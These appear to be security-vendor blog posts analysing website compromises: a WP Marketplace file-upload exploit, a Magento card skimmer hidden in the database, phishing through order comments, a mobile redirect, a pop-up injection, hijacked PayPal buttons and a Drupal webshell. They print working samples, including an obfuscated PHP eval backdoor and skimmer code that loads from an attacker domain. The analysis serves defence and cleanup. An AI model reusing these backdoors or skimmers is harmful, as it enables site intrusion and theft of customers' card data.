A few days ago, colleagues from White Fir Design disclosed an arbitrary file upload vulnerability in the WP Marketplace plugin and helped remove it from the official repository (at least until a patched version becomes available). They mentioned that they noticed attempts to exploit vulnerabilities of that plugin in the wild. Specifically, they noticed requests to the /wp-content/plugins/wpmarketplace/css/extends_page.css file - this way hackers could figure out whether the plugin was installed or not.

We checked our Website Firewall logs and confirmed that the WP Marketplace vulnerability is now a part of a hacker's toolkit. When they detect sites with the installed plugin, they try to exploit the vulnerability and upload backdoors.

xx.xxx.xxx.xxx - - [14/Oct/2016:21:09:30 -0400] "POST /wp-admin/admin-post.php?task=wpmp_upload_previews HTTP/1.1" 403 4358 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6" ..."POSTLOG:--ccfa908a0cc6432a8edc830bbe10c153x0Dx0AContent-Disposition: form-data; name=x22Filedatax22; filename=x22ggyy.phpx22x0Dx0AContent-Type: image/phpx0Dx0Ax0Dx0A<?phpx0Dx0A    $qV = x22stopx22;x0Dx0A    $s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);x0Dx0A    if (isset(${$s20}['x2nm3'])) {x0Dx0A        eval(${$s20}['x2nm3']);x0Dx0A    }x0Dx0A?>x0Dx0A--ccfa908a0cc6432a8edc830bbe10c153--x0Dx0A"

$qV = "stop";$s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);if (isset(${$s20}['x2nm3'])) {  eval( ${$s20}['x2nm3']);}

This simple backdoor is used in many other attacks. It executes arbitrary PHP code passed in the x2mn3 POST parameter. If you don’t see the POST keyword in the code above, it’s because of the simple obfuscation in the first two lines of that convert the lowercase word "stop_" into an uppercase string "_POST", which later converted to $_POST using the ${$s20} construction.

The WordPress Marketplace was not popular (less than 500 installations according to the plugin directory web page found in Google’s cache). However, this didn’t make it unsuitable for site attacks. Of course, it is not as valuable for hackers as vulnerabilities in popular plugins installed on every other site, but if your toolkit comprises of hundreds of smaller vulnerabilities, the success rate will be comparable. That’s why plugin developers shouldn’t neglect best security practices even when developing small plugins. If you submit it to a public repository you are responsible for the security of websites that install it. Webmasters also should not forget that their site is only as secure as its least secured component (plugin in this case). Make sure that you only use really necessary plugins and keep them all up to date.

To prevent attacks that exploit vulnerabilities in your site software, we suggest using a Web Application Firewall (WAF).

If your site was infected by this or other malware, make sure to read our comprehensive guide on how to clean a hacked WordPress site.

Every day we find many Magento credit card stealers injected into different files: modules, core files, themes. Magento database is not an an exception.

For example, this credit card stealer was found in the core_config_data table. The obfuscated database injection begins with the following code:

<script>var _0x7539=["x6Cx6Fx63x61x74x69x6Fx6E","x74x65x73x74","x6Fx6Ex65x70x61x67x65x7Cx63x68x65...x6Fx6Ex65x73x74x65x70x7Cx66x69x72x65x63x68x65x63x6Bx6Fx75x74"...

It loads an external script from js-save .link/js-save/mage.js into pages with payment forms to intercept data entered there.

var _0x7539=["location","test","onepage|checkout|onestep|firecheckout","<script src="https://js-save .link/js-save/mage.js"></script>...

The mage.js code sends intercepted data to the mag.php script on the same malicious js-save .link site.

The injected script has one more part (also encrypted). It prepares the payment form for data theft. Here is the decoded second part of the DB injection:

setInterval(function() {  if (!document.getElementById("payment_form_ccsave")) {     ShowForm("checkout-payment-method-load")   }}, 100);function ShowForm(elem) {  if (document.getElementById(elem)) {        var node = document.getElementById(elem);       while (node.firstChild) {           node.removeChild(node.firstChild)       };              node.insertAdjacentHTML("beforeend", htmlCCForm)  }}

This code checks if the payment form has the “pay with credit card” method. If it is absent, it adds this method (and the corresponding hardcoded HTML form) to the “checkout-payment-method-load" page element and removes all other payment methods to increase chances of victims choosing to enter their credit card details in the form. Once the form is prepared, the script from js-save .link will be able to successfully steal entered data.

This attack a new version of the attacks that previously used the js/lib/ccard.js file to inject similar scripts (usually not obfuscated). Back then they used the jquery-cdn . top and statsdot. eu domains.

Since this attack modifies the payment form, some infected sites may experience problems with payments. If your customers report that payment form won’t work or have strange behavior, it may be a sign of infection and you need to thoroughly check all files and the database. Pay a special attention to files like: app/code/core/Mage/Payment/Model/Method/Cc.php and js/lib/ccard.js, and to the design/head/includes rows of the core_config_data table. You might also want to check the Ecommerce Security section of our blog where we regularly share details of attacks on ecommerce sites.

If your site is hacked and you need help in cleaning it, or you just want it to be regularly monitored for all sorts of security problems, make sure to check our Website AntiVirus service.

The most typical reasons for Magento websites to get compromised are to steal credit card information or to find a way to divert payments to the attackers accounts but recently we have found a completely different objective that can be destructive for the reputation of your website.

When attackers exploit a vulnerability in your store and get admin user permissions, they can easily add new comments to all orders (both completed and pending). Magento emails the comments to customers and hackers abuse this feature to send out phishing emails.

Here is what they currently send out:

<http://www.CompromisedSite .com/>            Your order #100007891 has been updated to: CompleteAttention! Your payment has been declined. Full information -hxxp://www.PhishingDomain .com/eBay/  You can check the status of your orderby logging into your account <https://www.CompromisedSite .com/customer/account/>.

If there are 10,000+ orders on your website, this means that 10,000+ emails will be sent all of a sudden and all of those emails will include a link to a phishing domain. And if an attacker managed to compromised multiple Magento sites, the volume may be comparable to real mass spamming tools. However, in case of emails sent by Magento, the credibility may be higher since people already know the sites they received the emails from and the emails contain their valid order numbers.

There is not much can be done by webmasters once the attackers are in. As a partial mitigation, you can configure your server quota on how many emails can be sent daily, so that only a few number of your customers will actually receive the phishing emails before you notice it.

This kind of attacks can have a very severe impact on your website’s reputation. All your old and regular customers will find out (unless they don’t spot the scam in the emails) that your site is compromised. It shows how important it is to keep your store constantly patched and protected.

With the outburst of mobile-only malware, we’re seeing a lot of mobile-devices targeted campaigns in last years. There are lot of ways how to make sure that the malware / redirect will be activated only on such a device, including mobile-platform UserAgent detection and similar.

Our analyst 12 noticed, however, one unbelievably simple method. What’s the main difference between mobile and your computer? Yes, the screen size…

<script type="text/javascript"> 
if (screen.width <= 480) {
window.location = "http://malicious-domain-replaced.com/43ee0b11-0ec3-4bcf-b6a7-7f14895df667";
}
</script>

The redirect was activated only when the site with it was opened on a small screen (which is a really nice indicator of a mobile device).

Mobile times are here and the attackers know that. We should be aware of our devices security and that each of us is targeted through our little electronic friends. As webmasters, we should know that if we don’t see malware on their sites maybe it’s just because the malware targets a different device. Stay safe!

Pop-up ads are annoying. Unfortunately many sites rely on them to pay for their operational expenses and even to make some extra cash. However when you see pop-ups on your own site and you never added such ads yourself, you know that something is wrong.

Recently, an owner of a vBulletin forum asked us to help remove unwanted popups from their site. We noticed that web pages made requests to is[.]gd/KHoxPa and is[.]gd/a8nxlP, which in turn loaded ad scripts from onclickads[.]net and go.pushnative[.]com.

Upon further investigation, we found the following code injected into clientscript/yui/yuiloader-dom-event/yuiloader-dom-event.js:

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){ ...skipped... 'script|type|write|document|text|src|KHoxPa|gd|is|javascript'.split('|'),0,{}))eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){ ... skipped...'script|write|document|src|is|a8nxlP|gd'.split('|'),0,{}))

We often see the JS Packer compression (it generates these eval(function(p,a,c,k,e,d)... scripts) used by hackers to obfuscate their malicious code.

The decoded version:

document .write("<script type='text/javascript' src='//is[.]gd/KHoxPa'></script>");document .write("<script src="//is[.]gd/a8nxlP"></script>");

After removing that code, the pop-ups have gone away. As usual, our work was not limited with cleaning that yuiloader-dom-event.js file. To make sure the site was safe and couldn’t be reinfected, we scanned it for backdoors and all other known security problems, helping the site owner identify security holes that should be closed. If you’re facing a similar problem with popups or other security issues, let us know.

Recently we wrote about how hackers hijacked payment process on an ecommerce site and redirected customers to a fake checkout page on a third-party site. This sort of attacks is not limited to online stores. Even non-commercial sites may be affected.

This week we cleaned a compromised site where hackers managed to upload backdoors and quite a few other malicious files. At first it looked like typical infection. But there was an interesting detail.

The site accepted donations via PayPal and the site owner noticed that the donation buttons looked broken. Further inspection revealed that the PayPal form code was partially replaced with someone else’s PayPal links.

<a href="https://www .paypal .com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=P93D6HEBBF5YQ"><div align="center"><input type="image" src="<?php echo get_bloginfo('template_directory');?>/images/donate_monthly.png" border="0" name="submit" /></div></form>

The beginning of the donation form code was replaced with the highlighted link. As you can see, this resulted in malformed HTML code - no opening <form> tag for the original form and and no closing </a> tag for the malicious PayPal link.

This site had four forms for four donation options. Each one was hijacked. And each link had individual hosted_button_id parameters: P93D6HEBBF5YQ, XU2RAC93FW7CW, HQWZ2QNHVJ7LW, 3JKHCV93PAATJ.

At the moment we started to work on the site, the PayPal links we already defunct and returned the "PayPal cannot process this transaction because of a problem with the seller's website" warnings when we tried to open them.

While this attack looks buggy in so many ways, it shows that once your site is compromised, hackers can easily hijack your donation and/or payment forms and links and re-route payments to their own accounts. If you accept any types of payments (orders, donations, etc) via your site, make sure that its integrity is not broken. Otherwise your money and money of your site visitors are at risk.

For more information about attacks that target online payments make sure to read the ecommerce security section of our blog.

Some people are unfamiliar with the Drupal CMS, it doesn’t enjoy the popularity that some others do like WordPress and Joomla, but it's a powerful CMS none the less. Compared to the way WordPress is structured, Drupal is a big monster! There are lots of included files, modules, and of course… a lot of places for malware to hide.

During the cleanup process, we usually find different types of malware, backdoors and redirects that show the variety of ways a hacked website can be used. Recently we cleaned a Drupal website that had a malicious webshell being called from the database.

We checked the log files of this website and found something really suspicious in there

164.x.x.x - - [22/Aug/2016:00:27:36 -0400] "GET /catalog/low-housing?y=/boot/grub/&view=/boot/grub/gcry_camellia.mod HTTP/1.1" 200 30078 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.1; +http://ahrefs.com/robot/)" "PROXYBLOCKID:" "CACHEP:MISS" "POSTLOG:-"
31.x.x.x - - [22/Aug/2016:00:27:37 -0400] "GET /catalog/low-housing?y=%2Fboot%2Fgrub%2F&view=%2Fboot%2Fgrub%2Fgcry_camellia.mod HTTP/1.1" 200 30081 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" "PROXYBLOCKID:" "CACHEP:MISS" "POSTLOG:-"

All the requests above, like ?y=/lib or ?y=/boot/grub are options built into the webshell being called by the attacker, here is another example:

hxxp://www.infectedwebsite.org/catalog/low-housing?y=/tmp/&x=configs
hxxp://www.infectedwebsite.org/catalog/low-housing?y=/tmp/&x=zone-h

We continued with a more thorough research process and we found the malicious code inside of the Drupal Database. The code was injected into the legitimate site pages when they were requested by the attacker.

A quick check in the code revealed the method which has been used by the attacker to call the functions he wanted to.

<div id="menu"><ul class="menu"><a href="?<?php echo "y=".$pwd;?>">Files</a><a href="?<?php echo "y=".$pwd;?>&amp;x=shell">Shell</a><a href="?<?php echo "y=".$pwd;?>&amp;x=upload">upload</a><li><a>Sym</a><ul><li><a href="?<?php echo "y=".$pwd;?>&amp;x=sf">Symlink File</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=sec">Symlink server</a></li><li><a href="?<?php echo "y=".$pwd;?>&amp;x=configs">Get configs</a></li></ul></li><a href="?<?php echo "y=".$pwd;?>&amp;x=php">Eval</a><a href="?<?php echo "y=".$pwd;?&gt;&amp;x=back">Remote</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mysql">Sql</a><a href="?<?php echo "y=".$pwd;?>&amp;x=mass">Mass</a><a href="?<?php echo "y=".$pwd;?>&amp;x=brute">Brute</a><a href="?<?php echo "y=".$pwd;?>&amp;x=phpinfo">PHP</a><a href="?<?php echo "y=".$pwd;?>&amp;x=zone-h">Zone-H</a><li><a>Joomla</a><ul><li><a 
<?php if(isset($_GET['x']) && ($_GET['x'] == 'php')){?><form action="?y=<?php echo $pwd;?>&amp;x=php" method="post"><table class="cmdbox"><tr><td><textarea class="output" name="cmd" id="cmd" cols=90>

If you have a Web Application Firewall in place, this could be easily prevented and with a good backup, reverted without further damaging your online presence. We also recommend checking http and ftp logs to find the entry point and avoid that from happening again, changing passwords and using a File Integrity Monitor Tool are also a good prevention measures.